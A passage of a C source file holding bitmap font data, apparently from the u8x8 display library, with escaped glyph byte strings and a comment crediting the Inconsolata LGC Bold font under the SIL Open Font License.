\"\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360pppp\\340\\340\\300\\200\\0\\0\\0\\37\\177\\377\\373\\340\\300\\300\\300\\300\\340\\367\"\n  \"\\377\\377\\374\\0\\0@\\340\\360\\340\\301\\301\\301\\301\\341\\360\\177\\177\\37\\7\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|||\\70\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|||\\70\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\61;\\37\\17\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340`\\360\\360\\370\\370\\234\\234\\16\\16\\17\\7\\7\"\n  \"\\3\\3\\1\\1\\0\\0\\1\\1\\3\\3\\7\\7\\17\\16\\34<\\70xp\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\16\\16\\16\\16\\16\\16\\16\\16\"\n  \"\\16\\16\\16\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\17\\16\\36\\234\\274\\370\"\n  \"\\370\\360\\360`px\\70<\\34\\36\\16\\17\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 p\\370x<\\34\\34\\34\\34<\\370\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360x\\77\"\n  \"\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\340\\361\\361\\361\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360pppp\\360\\340\\300\\200\\0\\374\\377\\377\\237\\3\\360\\370\\374\\376\\36\\16\\16\"\n  \"\\357\\377\\377\\377\\3\\37\\77\\177\\370\\360\\343\\303\\307\\307\\307\\307\\343\\347\\7\\7\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\37\\7\\37\\177\\374\\360\"\n  \"\\200\\0\\0\\0\\300\\370\\377\\77\\7\\7\\7\\7\\7\\7\\7\\37\\177\\376\\360\\300\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\360\\360\\360ppppppp\\360\\340\\340\\300\\0\\0\\377\\377\\377ppppppp\\370\"\n  \"\\377\\337\\217\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\340\\377\\377\\177\\36\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360pppp\\360\\340\\300\\300\\0\\374\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\3\\3\\1\\7\\37\\77\\177\\370\\360\\340\\300\\300\\300\\300\\340\\360\\360p \\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360pppppp\\360\\340\\300\\200\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\3\"\n  \"\\377\\377\\377\\374\\0\\377\\377\\377\\300\\300\\300\\300\\300\\340\\340\\370\\177\\77\\37\\3\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360ppppppppppp\\0\\0\\377\\377\\377pppppppp\"\n  \"pp\\0\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\360\\360\\360ppppppppppp\\0\\0\\377\\377\\377ppppppp\"\n  \"pp\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360pppp\\360\\340\\340\\300\\200\\370\\377\\377\\237\\3\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\301\\303\\301\\300\\7\\37\\77\\177\\370\\340\\340\\300\\300\\301\\301\\301\\341\\377\\377\\177\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\20\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\20\\0\\377\\377\\377pppppppp\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0pppp\\360\\360\\360ppppp\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\300\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0pppp\\360\\360\\360pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0`\\360\\340\\300\\300\\300\\300\\340\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\20\\0\\0\\0\\0\\200\\300\\340\\360\\360\\60\\20\\0\\377\\377\\377\\340p\\370\\374\\336\\217\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\7\\17\\77~\\370\\360\\340\\200\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\1\\0\\360\\360\\360\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\360\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\300\\360\\360\\360\\0\\377\\377\\377\\7\\37~\\370\\340\\360|\\37\\7\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\0\\0\\0\\1\\3\\1\\0\\0\\0\\377\\377\\377\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\360\\360\\360\\360\\300\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\0\\377\\377\\377\\3\\17\\37|\\370\\340\\200\\0\"\n  \"\\0\\377\\377\\377\\0\\377\\377\\377\\0\\0\\0\\0\\1\\7\\17>\\374\\377\\377\\377\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\0\\200\\300\\340\\340pppp\\360\\340\\340\\300\\200\\0\\374\\377\\377\\237\\1\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\3\\377\\377\\377\\7\\37\\77\\177\\370\\340\\300\\300\\300\\300\\340\\340\\370\\177\\77\\17\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360pppppp\\360\\360\\340\\300\\200\\0\\0\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\360\"\n  \"\\177\\177\\37\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340pppp\\360\\340\\340\\300\\200\\0\\374\\377\\377\\337\\1\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\3\\377\\377\\376\\7\\37\\177\\377\\360\\340\\300\\300\\200\\300\\300\\340\\370\\177\\77\\17\\0\\0\\0\\0\\1\\1\\1\\17\\37\\77\\71\\71\"\n  \"\\70\\70\\70\\0\\0\\360\\360\\360pppppp\\360\\360\\340\\300\\200\\0\\0\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\360\"\n  \"\\177\\77\\37\\0\\0\\377\\377\\377\\0\\0\\0\\0\\1\\7\\37\\177\\374\\360\\300\\200\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\1\\0\\200\\300\\340\\340\\360pppp\\360\\340\\340\\300\\200\\0\\0\\7\\37\\77=xpp\\340\\340\\340\\300\"\n  \"\\301\\201\\0\\0 p\\370\\340\\340\\300\\300\\300\\300\\300\\341\\361\\377\\177\\77\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0pppppp\\360\\360\\360ppppppp\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\20\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\0\\37\\177\\377\\374\\340\\300\\300\\300\\300\\300\\340\\374\\177\\177\\37\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0p\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360p\\0\\1\\17\\177\\377\\370\\300\\0\\0\\200\\360\\376\"\n  \"\\177\\17\\3\\0\\0\\0\\0\\0\\3\\17\\177\\376\\374\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\0\\0\\0\\0\\300\\300\\200\\0\\0\\0\\300\\360\\360\\7\\377\\377\\374\\0\\340\\374\\177\\77\\377\\370\\300\"\n  \"\\300\\377\\377\\7\\0\\0\\77\\377\\377\\77\\7\\0\\0\\3\\37\\377\\377\\177\\1\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\0\\0\\0\\20\\60\\360\\360\\340\\200\\0\\0\\0\\0\\200\\340\\360\\360\\60\\0\\0\\0\\0\\3\\17\\237\\376\\370\\370\\376\\237\\7\"\n  \"\\3\\0\\0\\0\\0\\300\\340\\370~\\77\\17\\3\\3\\17\\37~\\370\\360\\300\\0\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\1p\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\300\\360\\360p\\20\\0\\1\\3\\17\\77\\376\\370\\340\\360\\374\\177\\37\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0pppppppppp\\360\\360\\360p\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370~\\37\"\n  \"\\17\\3\\0\\0\\0\\300\\340\\370\\374\\377\\337\\307\\303\\300\\300\\300\\300\\300\\300\\300\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\0\\0\\0\\374\\374\\374\\34\\34\\34\\34\\34\\34\\34\\34\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\16\\16\\16\\16\\16\\16\"\n  \"\\16\\16\\0\\0\\0\\60\\360\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\376\\370\\340\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\"\n  \"\\7\\7\\6\\0\\0\\34\\34\\34\\34\\34\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\16\\16\\16\\16\\16\\16\\16\\16\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\20\\34>\\17\\3\\1\\1\\7\\17\\77\"\n  \"\\34\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\"\n  \"\\34\\34\\34\\34\\0\\0\\0\\0\\370\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77~\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\34\\34\\216\\216\\216\\216\\216\\236\"\n  \"\\374\\374\\370\\0\\0<\\376\\377\\377\\307\\303\\303\\303\\303\\343\\363\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\374\\374\\374\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377x\\34\\16\\16\\16\\16\\36<\"\n  \"\\374\\370\\340\\0\\0\\377\\377\\377\\374\\340\\300\\300\\300\\300\\340\\360\\377\\177\\37\\0\\0\\1\\1\\1\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374<\\36\\16\\16\\16\\16\\36\"\n  \"\\34|\\70\\20\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\300\\300\\340\\360`\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\4\\0\\300\\360\\370\\374\\36\\16\\16\\16\\16\\34<\\377\"\n  \"\\377\\377\\0\\0\\17\\77\\177\\376\\340\\300\\300\\300\\300\\340\\360\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\234\\236\\216\\216\\216\\216\\236\"\n  \"\\374\\370\\360\\340\\0\\17\\77\\177\\377\\343\\343\\303\\303\\303\\303\\303\\343\\363c\\3\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370<\\34\\34\\34\\34<xx\\0\\34\\34\\34\\34\\377\\377\\377\\34\\34\\34\\34\"\n  \"\\34\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\374\\16\\16\\6\\6\\16\\36\\374\\374\"\n  \"\\376\\16\\16\\16\\0q\\373\\377\\377\\316\\316\\316\\316\\317\\307\\307\\301\\200\\200\\0\\34\\77\\77;qqqqqqq\\71\"\n  \"\\77\\37\\37\\0\\0\\374\\374\\374\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377x\\34\\34\\16\\16\\16\\36\\376\"\n  \"\\374\\370\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\376\\376\\376\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\16\\16\\16\\376\\376\"\n  \"\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\30<<xpppx\\77\\77\\37\"\n  \"\\7\\0\\0\\0\\0\\374\\374\\374\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\200\\300\\340\\360x<\\36\"\n  \"\\16\\6\\2\\0\\0\\377\\377\\377\\7\\3\\3\\7\\17\\37|\\370\\360\\340\\300\\200\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\1\\0\\0\\34\\34\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\300\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376>\\16\\16\\376\\376\\374<\\16\\16\"\n  \"\\376\\376\\374\\0\\377\\377\\377\\0\\0\\0\\377\\377\\377\\0\\0\\0\\377\\377\\377\\0\\1\\1\\1\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376x\\34\\34\\16\\16\\16\\36\\376\"\n  \"\\374\\370\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374<\\36\\16\\16\\16\\16\\36|\"\n  \"\\370\\370\\340\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\300\\340\\360\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376x\\34\\16\\16\\16\\16\\36>\"\n  \"\\374\\370\\360\\300\\0\\377\\377\\377|\\340\\300\\300\\300\\300\\340\\340\\375\\177\\77\\17\\0\\177\\177\\177\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\34\\36\\16\\16\\16\\16\\34\\374\"\n  \"\\376\\376\\376\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\300\\340}\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\370<\\34\\16\\16\\16\\16\"\n  \"\\36<\\34\\0\\0\\0\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0p\\374\\374\\376\\216\\216\\216\\16\\36\\34\"\n  \"<\\70\\10\\0\\0`p\\360\\341\\301\\303\\303\\303\\303\\347\\377\\376~<\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\360p\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\377\\377\\377\\16\\16\\16\\16\"\n  \"\\16\\0\\0\\0\\0\\0\\0\\0\\0\\177\\377\\377\\340\\300\\300\\300\\340\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\376\\376\\376\\0\\0\\37\\177\\377\\374\\340\\300\\300\\300\\340\\340|\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\36~\\376\\370\\300\\0\\0\\0\\0\\200\\340\"\n  \"\\376~\\36\\2\\0\\0\\0\\1\\17\\77\\377\\370\\360\\374\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\376\\376\\340\\0\\0\\300\\374\\374\\370\\300\\0\"\n  \"\\0\\376\\376\\376\\0\\3\\177\\377\\374\\374\\177\\7\\0\\17\\177\\376\\370\\377\\177\\1\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\16>|\\370\\360\\300\\300\\360\\370>\"\n  \"\\36\\16\\2\\0\\0\\200\\300\\360\\370|\\37\\17\\17\\37|\\370\\360\\300\\200\\0\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\36~\\376\\360\\300\\0\\0\\0\\0\\300\\370\"\n  \"\\376~\\16\\0\\0\\0\\0\\3\\17\\77\\376\\370\\360\\376\\77\\17\\1\\0\\0\\0\\70xppp|\\77\\37\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\16\\216\\316\\356\\376~\"\n  \">\\36\\16\\0\\0\\300\\340\\360\\370\\374\\336\\317\\307\\303\\301\\300\\300\\300\\300\\300\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\0\\0\\0\\0\\0\\200\\300\\340\\360pppppp\\0\\0\\200\\200\\200\\300\\377\\377\\177\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\3\\3\\7\\377\\376\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\77~xpp\"\n  \"ppp\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\177\\177\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0ppppp\\360\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\377\\377\\360\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\376\\376\\37\\3\\3\\3\\0\\0\\0pppppx\\177\\77\\37\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34\\34\\36\\16\\16\\16\\36\\34<\\70\\70\"\n  \"\\70\\34\\36\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--30-300-72-72-P-147-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Emboldened by MihailJP.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 18/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inb21_2x4_n[1732] U8X8_FONT_SECTION(\"u8x8_font_inb21_2x4_n\") = \n  \" :\\2\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  